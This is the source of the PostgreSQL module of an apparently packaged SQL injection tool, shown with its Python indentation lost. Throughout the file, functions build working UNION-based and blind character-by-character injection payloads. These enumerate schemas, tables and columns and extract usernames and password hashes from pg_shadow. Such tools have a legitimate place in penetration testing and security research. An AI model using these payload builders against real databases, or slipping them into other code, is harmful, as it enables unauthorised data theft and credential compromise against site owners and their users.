/usr/share/themole/dbmsmoles/postgres.py is in themole 0.3-1.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
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#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
#
# Developed by: Nasel(http://www.nasel.com.ar)
#
# Authors:
# Matías Fontanini
# Santiago Alessandri
# Gastón Traberg
from . import DbmsMole, FingerBase
class PostgresMole(DbmsMole):
out_delimiter_result = "::-::"
out_delimiter = DbmsMole.chr_join(out_delimiter_result)
inner_delimiter = DbmsMole.chr_join(DbmsMole.inner_delimiter_result)
integer_field_finger = 'ascii(chr(58)) + (length(' + DbmsMole.chr_join("1111111") + ') * 190) + (ascii(chr(73)) * 31337)'
integer_field_finger_result = '2288989'
integer_out_delimiter = '3133707'
comment_list = ['--', '/*', ' ']
def to_string(self, data):
return DbmsMole.chr_join(data)
def _schemas_query_info(self):
return {
'table' : 'pg_tables',
'field' : ['distinct(schemaname)']
}
def _tables_query_info(self, db):
return {
'table' : 'pg_tables',
'field' : ['tablename'],
'filter': "schemaname = '{db}'".format(db=db)
}
def _columns_query_info(self, db, table):
return {
'table' : 'pg_namespace,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid',
'field' : ['attname'],
'filter': "a.relnamespace=pg_namespace.oid AND attnum>0 AND nspname='{db}' AND a.relname='{table}'".format(db=db, table=table)
}
def _fields_query_info(self, fields, db, table, where):
return {
'table' : db + '.' + table,
'field' : fields,
'filter': where
}
def _dbinfo_query_info(self):
return {
'field' : ['getpgusername()','version()','current_database()'],
'table' : ''
}
def _user_creds_query_info(self):
return {
'field' : ['usename', 'passwd'],
'table' : 'pg_shadow',
'filter' : '1=1'
}
def forge_blind_query(self, index, value, fields, table, where="1=1", offset=0):
if table == 'pg_tables' and where == "1=1" and len(fields) == 1 and fields[0] == 'distinct(schemaname)':
return ' and {op_par}' + str(value) + ' < (select distinct on(schemaname) ascii(substring(schemaname, '+str(index)+', 1)) from ' + table+' where ' + self.parse_condition(where) + ' limit 1 offset '+str(offset) + ')'
else:
return DbmsMole.forge_blind_query(self, index, value, fields, table, where, offset)
def forge_blind_count_query(self, operator, value, table, where="1=1"):
if table == 'pg_tables' and where == "1=1":
return ' and {op_par}' + str(value) + ' ' + operator + ' (select count(distinct(schemaname)) from '+table+' where '+self.parse_condition(where)+')'
else:
return DbmsMole.forge_blind_count_query(self, operator, value, table, where)
def forge_blind_len_query(self, operator, value, fields, table, where="1=1", offset=0):
if table == 'pg_tables' and where == "1=1" and len(fields) == 1 and fields[0] == 'distinct(schemaname)':
return ' and {op_par}' + str(value) + ' ' + operator + ' (select distinct on(schemaname) length(schemaname) from '+table+' where ' + self.parse_condition(where) + ' limit 1 offset '+str(offset)+')'
else:
return DbmsMole.forge_blind_len_query(self, operator, value, fields, table, where, offset)
@classmethod
def dbms_name(cls):
return 'Postgres'
@classmethod
def blind_field_delimiter(cls):
return PostgresMole.inner_delimiter_result
@classmethod
def dbms_check_blind_query(cls):
return ' and {op_par}0 < (select length(getpgusername()))'
@classmethod
def field_finger(cls, finger):
if finger.is_string_query:
return DbmsMole.field_finger_str
else:
return PostgresMole.integer_field_finger_result
def is_string_query(self):
return self.finger.is_string_query
def forge_count_query(self, fields, table_name, injectable_field, where = None):
query = " and 1 = 0 UNION ALL SELECT "
if len(fields) == 1 and fields[0] == 'distinct(schemaname)':
count_string = 'distinct(schemaname)'
else:
count_string = '*'
query_list = list(self.finger._query)
query_list[injectable_field] = ("(" + PostgresMole.out_delimiter + "||COUNT(" + count_string + ")||" + PostgresMole.out_delimiter + ")")
query += ','.join(query_list)
at_end = ''
if len(table_name) > 0:
query += " from " + table_name
if not where is None:
query += " where " + self.parse_condition(where)
query += at_end
return query
def forge_query(self, fields, table_name, injectable_field, where = None, offset = 0):
query = " and 1 = 0 UNION ALL SELECT "
query_list = list(self.finger._query)
# It's not beatiful but it works :D
if len(fields) == 1 and fields[0] == 'distinct(schemaname)':
query += " distinct on(schemaname) "
fields = ['schemaname']
query_list[injectable_field] = ("(" + PostgresMole.out_delimiter + "||(" +
self._concat_fields(fields) +
")||" + PostgresMole.out_delimiter + ")"
)
query += ','.join(query_list)
at_end = ''
if len(table_name) > 0:
query += " from " + table_name
at_end = " limit 1 offset " + str(offset)
if not where is None:
query += " where " + self.parse_condition(where)
query += at_end
return query
def forge_integer_count_query(self, fields, table_name, injectable_field, where = None):
query = " and 1 = 0 UNION ALL SELECT "
query_list = list(self.finger._query)
if len(fields) == 1 and fields[0] == 'distinct(schemaname)':
count_string = 'distinct(schemaname)'
else:
count_string = '*'
query_list[injectable_field] = ("cast(cast(" + PostgresMole.integer_out_delimiter + " as varchar(10))||COUNT(" + count_string + ")||cast(" + PostgresMole.integer_out_delimiter + " as varchar(10)) as bigint)")
query += ','.join(query_list)
at_end = ''
if len(table_name) > 0:
query += " from " + table_name
if not where is None:
query += " where " + self.parse_condition(where)
query += at_end
return query
def forge_integer_len_query(self, fields, table_name, injectable_field, where = None, offset = 0):
query = " and 1 = 0 UNION ALL SELECT "
query_list = list(self.finger._query)
# It's not beatiful but it works :D
if len(fields) == 1 and fields[0] == 'distinct(schemaname)':
query += " distinct on(schemaname) "
fields = ['schemaname']
query_list[injectable_field] = ("cast(cast(" + PostgresMole.integer_out_delimiter +
" as varchar(10))||length(" + self._concat_fields(fields) +
")||cast(" + PostgresMole.integer_out_delimiter + " as varchar(10)) as bigint)"
)
query += ','.join(query_list)
at_end = ''
if len(table_name) > 0:
query += " from " + table_name
at_end = " limit 1 offset " + str(offset)
if not where is None:
query += " where " + self.parse_condition(where)
query += at_end
return query
def forge_integer_query(self, index, fields, table_name, injectable_field, where = None, offset = 0):
query = " and 1 = 0 UNION ALL SELECT "
query_list = list(self.finger._query)
# It's not beatiful but it works :D
if len(fields) == 1 and fields[0] == 'distinct(schemaname)':
query += " distinct on(schemaname) "
fields = ['schemaname']
query_list[injectable_field] = ("cast(cast(" + PostgresMole.integer_out_delimiter +
" as varchar(10))||ascii(substring(" + self._concat_fields(fields) +
", " + str(index)+",1))||cast(" + PostgresMole.integer_out_delimiter +
" as varchar(10)) as bigint)"
)
query += ','.join(query_list)
at_end = ''
if len(table_name) > 0:
query += " from " + table_name
at_end = " limit 1 offset " + str(offset)
if not where is None:
query += " where " + self.parse_condition(where)
query += at_end
return query
@classmethod
def injectable_field_fingers(cls, query_columns, base):
output = []
hashes = []
to_search = []
output_int = []
for i in range(query_columns):
hashes.append('(' + DbmsMole.chr_join(str(base + i)) + ')::unknown')
to_search.append(str(base + i))
output.append(FingerBase(hashes, to_search))
output_int.append(FingerBase(list(to_search), to_search, is_string_query=False))
for i in range(query_columns):
hashes = list(map(lambda x: 'null', range(query_columns)))
hashes_int = list(map(lambda x: 'null', range(query_columns)))
to_search = list(map(lambda x: '3rr_NO!', range(query_columns)))
to_search[i] = str(base + i)
hashes[i] = '(' + DbmsMole.chr_join(str(base + i)) + ')::unknown'
output.append(FingerBase(list(hashes), to_search))
hashes[i] = '(' + DbmsMole.chr_join(str(base + i)) + ')'
output.append(FingerBase(hashes, to_search))
hashes_int[i] = str(base + i)
output_int.append(FingerBase(hashes_int, to_search, is_string_query=False))
hashes = []
for i in range(base, base + query_columns):
hashes.append(DbmsMole.char_concat(str(i)))
to_search = list(map(str, range(base, base + query_columns)))
output.append(FingerBase(list(hashes), to_search))
hashes = []
for i in range(base, base + query_columns):
hashes.append(str(i))
output.append(FingerBase(list(hashes), to_search))
return output + output_int
@classmethod
def field_finger_query(cls, columns, finger, injectable_field):
query = " and 1=0 UNION ALL SELECT "
query_list = list(finger._query)
if finger.is_string_query:
query_list[injectable_field] = "(getpgusername()||" + DbmsMole.chr_join(DbmsMole.field_finger_str) + ")"
else:
query_list[injectable_field] = "(" + PostgresMole.integer_field_finger + ")"
query += ",".join(query_list)
return query
def set_good_finger(self, finger):
self.finger = finger
def _concat_fields(self, fields):
return ('||' + PostgresMole.inner_delimiter + '||').join(map(lambda x: 'coalesce(cast(' + x + ' as varchar(150)),CHR(32))', fields))
def parse_results(self, url_data):
if not self.finger or self.finger.is_string_query:
data_list = url_data.split(PostgresMole.out_delimiter_result)
else:
data_list = url_data.split(PostgresMole.integer_out_delimiter)
if len(data_list) < 3:
return None
data = data_list[1]
return data.split(PostgresMole.inner_delimiter_result)
def __str__(self):
return "Posgresql Mole"
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